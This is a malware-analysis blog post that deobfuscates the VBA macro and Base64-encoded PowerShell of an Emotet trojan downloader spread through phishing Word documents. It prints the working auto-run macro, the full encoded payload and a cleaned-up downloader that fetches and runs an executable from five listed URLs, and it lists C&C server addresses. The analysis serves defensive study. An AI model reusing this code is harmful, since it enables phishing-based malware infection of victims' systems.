Deobfuscating VBA and PowerShell Scripts of an Emotet Trojan Downloader

  • Sep 1, 2017

We analyzed a recent wave of phishing mails trying to spread the Emotet banking trojan via malicious Word documents. This post provides details of the obfuscation methods used in the VBA macro and the PowerShell script contained within the Word documents.

Contents

  1. Introduction
  2. Deobfuscating the VBA Macro
  3. Deobfuscating the PowerShell script
  4. Running the Emotet Trojan

1. Introduction

To be infected, four user interactions are required: Open the email, click the link contained within, open the Word document that is downloaded and then enable the execution of macros:

From phishing mail to infection

The macro then proceeds to execute a PowerShell script which in turn downloads and executes the Emotet trojan.

The phishing mails do not use a fake sender, instead they spoof the display name. The display name is set to a (valid) email address: "MatthiasPeters@firma.de" <juan.reynolds@resory.pl>

The email text purports to contain an important invoice, provided as a link. Clicking the link downloads a .doc Microsoft Word file. The linked domains seem to be websites with hacked CMS software. The Word document uses a standard phishing trick: It claims it is “protected” and requests the user to activate macros to be able to see the document contents:

2. Deobfuscating the VBA Macro

We extracted the VBA code of the macro using oledump.py:

See all of the code here.
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
Attribute VB_Name = "Module1"

Function BFvwAuZaVks()
  XAamgnsVVb = 5165
  Dim SrGPDtnepsZ(5165)
  GHzbxwpn = "vtSrDzbX"
  amnKkpVwV = "VWseGNg"
  SrGPDtnepsZ(2227) = awzenTtPGY
  SrGPDtnepsZ(4272) = WUkcPat
  SrGPDtnepsZ(3669) = 7075 + 6231 + 8852 + 5718 / 4558 / 9361 / 1558 - 7755 - 3944 + 3708 + 9243
  SrGPDtnepsZ(4564) = 2190 + 1532 + 1910 / 8793 - 9797 + 4889 + 4615
  SrGPDtnepsZ(3963) = 2418 + 5027 / 3108 / 7451 - 9786 - 548 - 2611 + 2156 + 5715
  SrGPDtnepsZ(4468) = sTrKDrEMD
  SrGPDtnepsZ(4882) = hxGDwUsz
  SrGPDtnepsZ(4115) = yYWXhtA
  SrGPDtnepsZ(4036) = 513
  SrGPDtnepsZ(1906) = 4149
  SrGPDtnepsZ(4353) = 4888
  SrGPDtnepsZ(4520) = 4721
  SrGPDtnepsZ(3908) = WnFmeKgcP
  SrGPDtnepsZ(79) = uDLZbSACx
  SrGPDtnepsZ(4255) = KUeDGrVbCdS
  SrGPDtnepsZ(1019) = 6267 + 4071 / 215 / 3455 / 1127 - 6146 - 6217 - 8856 + 6066 + 6423 + 3276
  SrGPDtnepsZ(845) = 9362 + 6185 / 6055 - 688 - 7820 - 794 + 1692 + 3520 + 897
  SrGPDtnepsZ(1049) = 3086 + 9498 + 5926 + 8841 / 4542 - 6575 - 5633 - 7816 + 7935 + 1215
  For XAamgnsVVb = 2759 To 3545
    SrGPDtnepsZ(XAamgnsVVb) = XAamgnsVVb
  Next
  cHyBNGb = SrGPDtnepsZ(926) + SrGPDtnepsZ(3005) + SrGPDtnepsZ(3149) + SrGPDtnepsZ(1498) + SrGPDtnepsZ(5165)
  ueCChrd = SrGPDtnepsZ(2748) + SrGPDtnepsZ(83) + SrGPDtnepsZ(4223) + SrGPDtnepsZ(3116) + SrGPDtnepsZ(159) + SrGPDtnepsZ(5165)
End Function

Function NhvPuxvN()
  TnrRkfSK = 2872
  Dim wYVwYPZF(2872)
  KPUdypH = "mNbsMXPAeu"
  wYVwYPZF(413) = DAzwxYTPDpn
  wYVwYPZF(1629) = CtULWMbR
  wYVwYPZF(959) = SXrHAePSKs
  wYVwYPZF(1423) = 9521 + 1988 / 4344 / 6200 - 9941 - 5877 - 7876 + 5040 + 6001
  wYVwYPZF(2812) = 4990 + 6672 / 6251 / 7159 - 7847 + 6786
  wYVwYPZF(1132) = 4988 + 8786 / 7729 / 2597 / 8154 - 653 - 6983 + 9292 + 6301
  wYVwYPZF(812) = vAMKygw
  wYVwYPZF(1254) = DdUfWKsECzw
  wYVwYPZF(1555) = 727
  wYVwYPZF(1707) = LXFkhuTZhX
  wYVwYPZF(1518) = vdMuzhTfgS
  wYVwYPZF(1777) = BVmcmTXF
  wYVwYPZF(1682) = XsBSUrH
  wYVwYPZF(1908) = 3573 + 8612 + 9318 + 9297 / 9023 / 8782 / 9059 - 6885 - 4062 - 3479 + 2192 + 697
  wYVwYPZF(644) = 849 + 8506 + 8665 / 3519 / 1456 / 4453 - 1186 + 632
  wYVwYPZF(713) = 6508 + 6703 / 3722 - 1205 - 8884 - 2100 + 4052 + 1127
  For TnrRkfSK = 102 To 160
    wYVwYPZF(TnrRkfSK) = TnrRkfSK
  Next
  cvrTLUP = wYVwYPZF(1737) + wYVwYPZF(2715) + wYVwYPZF(996) + wYVwYPZF(479) + wYVwYPZF(2484) + wYVwYPZF(292) + wYVwYPZF(1105) + wYVwYPZF(2872)
  YHNcNpTz = wYVwYPZF(701) + wYVwYPZF(749) + wYVwYPZF(2276) + wYVwYPZF(2872)
  cFzHxGk = wYVwYPZF(905) + wYVwYPZF(2182) + wYVwYPZF(2382) + wYVwYPZF(2872)
End Function

Sub autoopen()
  VKbZcLUg
End Sub

Public Function yKvCXNf(vRKbufsX)
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
  KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)
  yKvCXNf = KADXEmH
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
End Function
 
Public Function VKbZcLUg()
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
  DEBAKSwY = yKvCXNf("ankMNxSvDuv") + yKvCXNf("fDaHszez") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("kfShLKvtYaW") + yKvCXNf("drgLHvTZD") + yKvCXNf("RzsFTKsMa")
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
  ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")
  mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
  CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0
  YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg
  LLMCLDwa = CvEgYnc + ZXRdwWtWs = xRpcauKYvP
  MmMRXtv = zKecGnebZ + HSLCRHhWhTY = RENNUypsA
  WvZKmYA = yNVhWYMh + GwEPaxeu = ksruaGK
  XXAPeyaxGAg = UGfXgcWmXKZ + KSHyZyt = rebUFAuEWy
End Function

Function mRfpfKhGSD()
  mCzGYYaxRLX = 8385
  Dim MCGPUwUZMWy(8385)
  caMKKbnBu = ("rFNuCnmpUU")
  ALKNUwLcpPu = ("SLCZxtuyhF")
  MczvCeNBH = ("XLSHkERKtnR")
  MCGPUwUZMWy(7904) = UcwcACY
  MCGPUwUZMWy(2787) = rbUkPum
  MCGPUwUZMWy(684) = 7163 + 811 + 710 / 7663 / 5363 / 1108 - 3395 - 7739 + 4644 + 8393 + 9078
  MCGPUwUZMWy(1867) = KwvDMWrrG
  MCGPUwUZMWy(1721) = LzkZWpB
  MCGPUwUZMWy(7960) = 8725
  MCGPUwUZMWy(8262) = 7312
  MCGPUwUZMWy(6212) = 8270
  MCGPUwUZMWy(298) = ZUpymUKM
  MCGPUwUZMWy(3896) = 954 + 9998 / 9266 / 6580 - 736 - 883 + 2313 + 1188 + 5675
  For mCzGYYaxRLX = 7999 To 5163
    MCGPUwUZMWy(mCzGYYaxRLX) = mCzGYYaxRLX
  Next
  KAyYxEHgrP = MCGPUwUZMWy(3814) + MCGPUwUZMWy(8385)
  ZBXEkbtP = MCGPUwUZMWy(3170) + MCGPUwUZMWy(1765) + MCGPUwUZMWy(8385)
End Function


Function gHXrdcyrg()
    WavCCbxD = 8004
    Dim EhAUrkkxwMG(8004)
    naRAuCU = ("vgaYmNPnVX")
    EhAUrkkxwMG(2991) = eNECkccF
    EhAUrkkxwMG(6466) = FbcdBnKRuK
    EhAUrkkxwMG(3066) = kfEeTmdvHNy
    EhAUrkkxwMG(3977) = vLuXaKtP
    EhAUrkkxwMG(2869) = 4459 + 146 + 7490 / 9816 - 7410 - 8463 - 2553 + 451 + 8893
    EhAUrkkxwMG(5881) = mtpNLGb
    EhAUrkkxwMG(5248) = gfxcZDpkv
    EhAUrkkxwMG(2458) = SsvSpWe
    EhAUrkkxwMG(458) = AVUPYHGfC
    EhAUrkkxwMG(4552) = 198
    EhAUrkkxwMG(5266) = XvRCbwhh
    EhAUrkkxwMG(4843) = eXHbUGY
    EhAUrkkxwMG(6934) = dHZNEDyDcv
    EhAUrkkxwMG(4138) = MvYmwSeRUT
    EhAUrkkxwMG(6033) = 8623 + 2405 / 7340 / 2292 - 2848 - 4607 + 3843 + 888 + 8671
    For WavCCbxD = 830 To 4845
      EhAUrkkxwMG(WavCCbxD) = WavCCbxD
    Next
    PHZLUddDVam = EhAUrkkxwMG(7146) + EhAUrkkxwMG(7682) + EhAUrkkxwMG(122) + EhAUrkkxwMG(417) + EhAUrkkxwMG(4616) + EhAUrkkxwMG(1498) + EhAUrkkxwMG(8004)
End Function

Of the 152 lines of code, only a few have an actual purpose — the rest is just there for misdirection. Most of the code’s functions actually never get called.

A good start is to look for the autoopen() function which gets executed when the document is opened:

Sub autoopen()
    VKbZcLUg
End Sub

This points us to the VKbZcLUg() function. It contains loads of useless code such as:

YbaUHkeFD = uHbuDLuPaXz + dTEEdye = zSHBfXvvPhg

These are pointless comparison operations. A variable x gets set to true or false depending on whether a + b is equal to c or not:

x = a + b = c

All those lines are irrelevant and can be skipped.

Lines with function calls in brackets need a closer look:

ZneZkvTk = yKvCXNf("PpRDVaYk") + yKvCXNf("SnVfbyV") + yKvCXNf("NBhWRnnr") + yKvCXNf("nGmERhbgD") + yKvCXNf("MHmBmVtxxeD") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + yKvCXNf("GZnvfVd")

The yKvCXNf() function keeps getting called with different arguments. This function contains more comparison operations as a distraction and one line of actually useful code:

Public Function yKvCXNf(vRKbufsX)
[...]
KADXEmH = ActiveDocument.CustomDocumentProperties(vRKbufsX)

This line looks up and returns custom document properties set for the Word document, based on the parameter given to it. We take a look at the custom document properties and see they contain string parts for the strings "powershell" and "wscript.shell":

Getting back to the main VKbZcLUg() function, there are two lines of code doing the actual work. They can be recognized by the strings ActiveDocument.BuiltInDocumentProperties("Comments") and CreateObject(DEBAKSwY).Run:

mNaCbmDx = ZneZkvTk + "" + ActiveDocument.BuiltInDocumentProperties("Comments") + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + fPsFbYX
CreateObject(DEBAKSwY).Run$ mNaCbmDx + KeyeUgtkrd + HuPuESkLhy + zemaEVc + SuGvNTkzE + YPCrwmVkT + HptZKepNwvX + vmuvTSP + KxxGMpUX + RkbrfNxRNWd + tNGdshzMD + atMRBBmV, 0

Plenty of string concatenation is taking place, with undefined variables that can all be ignored. The actual string comes from the document’s comments field. Taking a look we find a long Base64-encoded string:

JAB7AFcAYABzAEMAUgBgAEkAcABUAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAG4AZQB3AC0AbwBiACcALAAnAHQAJwAsACcAagBlAGMAJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAFcAUwBjAHIAaQBwACcALAAnAHQALgBTAGgAZQBsACcALAAnAGwAJwApADsAJAB7AHcAYABFAEIAYwBgAGwASQBlAE4AVAB9ACAAPQAgACYAKAAiAHsAMQB9AHsAMAB9AHsAMwB9AHsAMgB9ACIALQBmACcAZQB3AC0AbwAnACwAJwBuACcALAAnAGUAYwB0ACcALAAnAGIAagAnACkAIAAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewA0AH0AewAyAH0AIgAtAGYAJwBiAEMAbABpACcALAAnAFcAJwAsACcAdAAnACwAJwBlACcALAAnAGUAbgAnACwAJwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AJwApADsAJAB7AFIAYABBAGAATgBEAE8ATQB9ACAAPQAgACYAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBvAGIAJwAsACcAagBlAGMAdAAnACwAJwBuAGUAdwAtACcAKQAgACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbQAnACwAJwByAGEAbgBkAG8AJwApADsAJAB7AHUAYABSAEwAcwB9ACAAPQAgACgAIgB7ADIAMwB9AHsAMQA1AH0AewAxADkAfQB7ADEAfQB7ADEAMwB9AHsAMQA2AH0AewA4AH0AewAxADgAfQB7ADIANwB9AHsAMQAwAH0AewAyADkAfQB7ADEAMgB9AHsANQB9AHsAMgA1AH0AewAxADcAfQB7ADIAfQB7ADAAfQB7ADIAMQB9AHsAMgA4AH0AewAxADEAfQB7ADYAfQB7ADEANAB9AHsANAB9AHsAMwB9AHsAOQB9AHsANwB9AHsAMgAyAH0AewAyADAAfQB7ADIANgB9AHsAMgA0AH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvAC8AYQAnACwAJwBiAG8AJwAsACcALwBsAEUAWQBKAGsALwAsAGgAJwAsACcAcgBpAHgAbQAnACwAJwAvAC8AZwBsAG8AYgBhAGwAbQBhAHQAJwAsACcAdAB1ACcALAAnAHQALwBWAFcASwBuAGcAaAAvACcALAAnAGUAdAAnACwAJwAvAGQAYQB6AGUAJwAsACcAYQByAGsAJwAsACcAbwBtAC4AaABrAC8AeQBhACcALAAnAHAAJwAsACcAaAB0AHQAcAA6AC8ALwBmAHUAbgBrAHkAcwAnACwAJwBuAG4AaQBlAGoAYQAnACwAJwAsAGgAdAB0AHAAOgAnACwAJwAvAC8AbQBpAHMAJwAsACcAbgBlAC4AYwBvAG0ALwBIAC8ALABoAHQAdABwADoALwAnACwAJwBvAHIAZwAnACwAJwAuACcALAAnAHMAJwAsACcAZwAuAGMAbwAnACwAJwByAGQAdwAnACwAJwBpAG4AJwAsACcAaAB0AHQAcAA6ACcALAAnAC8ASABYAEEAcABKAGoALwAnACwAJwBkAGkAbwAuACcALAAnAG0AJwAsACcAYwAnACwAJwBlAGIALgAnACwAJwBlAFIAWABxAC8ALAAnACkALgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAnAFMAcABsAGkAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYABBAE0ARQB9ACAAPQAgACQAewByAGAAQQBuAGQATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeAB0ACcALAAnAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBwAGAAQQBUAEgAfQAgAD0AIAAkAHsAZQBuAHYAYAA6AHQAZQBgAG0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAGAAQQBNAGUAfQAgACsAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlAHgAJwAsACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB7AHUAYABSAEwAfQAgAGkAbgAgACQAewB1AGAAUgBsAFMAfQApAHsAdAByAHkAewAkAHsAVwBFAEIAQwBgAEwAYABJAGUAbgBUAH0ALgAoACIAewAwAH0AewAzAH0AewAxAH0AewAyAH0AIgAtAGYAJwBEAG8AdwBuACcALAAnAEYAJwAsACcAaQBsAGUAJwAsACcAbABvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAnAFQAbwBTACcALAAnAHQAcgBpACcALAAnAG4AZwAnACkALgBJAG4AdgBvAGsAZQAoACkALAAgACQAewBQAGAAQQB0AGgAfQApADsALgAoACIAewAwAH0AewAyAH0AewAxAH0AewAzAH0AIgAgAC0AZgAgACcAUwB0ACcALAAnAHMAJwAsACcAYQByAHQALQBQAHIAbwBjAGUAJwAsACcAcwAnACkAIAAkAHsAUABhAGAAVABoAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7ACYAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAC0AJwAsACcAaABvAHMAdAAnACwAJwByAGkAdAAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAYAB4AGMAZQBQAHQASQBgAE8ATgAiAC4AIgBtAGAAZQBzAHMAQQBgAEcARQAiADsAfQB9AA0ACgA=

Time to put all our findings together! We have a CreateObject call which creates an object of the type “wscript.shell”. It then runs the shell command "powershell -e JAB7AFcAYABzAEMAUgBgAEk[...]CgA=" with the complete Base64-encoded PowerShell script. This uses the handy PowerShell command line option -EncodedCommand or -e which accepts Base64-encoded commands.

Here’s the fully deobfuscated macro:

Sub autoopen()
  f1
End Sub
 
Public Function f1()
  x1 = "wscript.shell"
  x2 = "powershell -e "
  payload = x2 + "" + ActiveDocument.BuiltInDocumentProperties("Comments")
  CreateObject(x1).Run$ payload
End Function

3. Deobfuscating the PowerShell script

Decoding the Base64-string we got from the document’s comment field, we find some slightly obfuscated PowerShell code:

${W`sCR`IpT} = .("{0}{2}{1}" -f'new-ob','t','jec') -ComObject ("{0}{1}{2}"-f'WScrip','t.Shel','l');
${R`A`NDOM} = &("{2}{0}{1}"-f 'ob','ject','new-') ("{1}{0}" -f'm','rando');
${u`RLs} = ("{23}{15}{19}{1}{13}{16}{8}{18}{27}{10}{29}{12}{5}{25}{17}{2}{0}{21}{28}{11}{6}{14}{4}{3}{9}{7}{22}{20}{26}{24}" 
-f 'ttp://a','bo','/lEYJk/,h','rixm','//globalmat','tu','t/VWKngh/','et','/daze','ark','om.hk/ya','p','http://funkys','nnieja',
',http:','//mis','ne.com/H/,http:/','org','.','s','g.co','rdw','in','http:','/HXApJj/','dio.','m','c','eb.','eRXq/,').
("{1}{0}"-f't','Spli').Invoke(',');
${n`AME} = ${r`AndOm}.("{1}{0}"-f 'ext','n').Invoke(1, 65536);
${p`ATH} = ${env`:te`mP} + '\' + ${n`AMe} + ("{0}{1}" -f '.ex','e');
foreach(${u`RL} in ${u`RlS}){try{${WEBC`L`IenT}.("{0}{3}{1}{2}"-f'Down','F','ile','load').Invoke(${U`RL}.
("{0}{1}{2}" -f'ToS','tri','ng').Invoke(), ${P`Ath});
.("{0}{2}{1}{3}" -f 'St','s','art-Proce','s') ${Pa`Th};break;}
catch{&("{3}{2}{0}{1}" -f'e-','host','rit','w') ${_}."E`xcePtI`ON"."m`essA`GE";}}

The code does some minor string trickery using PowerShell’s -f Format operator. It rearranges fragments of a string ('new-ob','t','jec') into the order provided by numbered placeholders ({0}{2}{1}). The rest is just fancy variable naming such as ${WsCRIpT}.

Re-arranging the strings and cleaning up the variable names we get:

$wscript = New-Object -ComObject WScript.Shell;
$webclient = New-Object System.Net.WebClient;
$random = New-Object Random;
$urls = (
         http://missbonniejane.com/H/,
         http://daze.com.hk/yaeRXq/,
         http://funkystudio.org/lEYJk/,
         http://ardweb.pt/VWKngh/,
         http://globalmatrixmarketing.com/HXApJj/
        ).Split(',');

$name = $random.Next(1,65536);

$path = $env:temp + '\' + $name + ".exe";

foreach($url in $urls){
  try{
    $webclient.DownloadFile($url.ToString, {path});
    Start-Process ${path};
    break;
  }
  catch{ write-host $_.Exception.Message; }
}

As we can see, the code downloads the trojan from five different URLs, saves it in the temp directory using a randomly generated numerical name, and then executes it.

4. Running the Emotet Trojan

We run the trojan in a custom VM without a network adapter and a fake network provided by Fakenet-NG. Sniffing the network traffic of the trojan, we can see periodic HTTP POSTS with encrypted data to a rotating list of C&C servers:

We let the trojan run for a while to get the following full list of servers:

IPPortNetworkLocation
173.212.227.54443AS51167 Contabo GmbHGermany
104.236.252.1788080AS62567 DigitalOcean, LLCClifton, NJ, USA
162.243.159.58443AS14061 DigitalOcean, LLCSan Francisco, CA, USA
45.33.55.1578080AS63949 Linode, LLCFremont, CA, USA
77.244.245.377080AS47692 Nessus GmbHVienna, Austria
192.81.212.79443AS62567 DigitalOcean, LLCNorth Bergen, NJ, USA
173.212.192.45443AS51167 Contabo GmbHGermany
103.16.131.208080AS133159 Mammoth Media Pty LtdAustralia

Read about other interesting topics on our blog.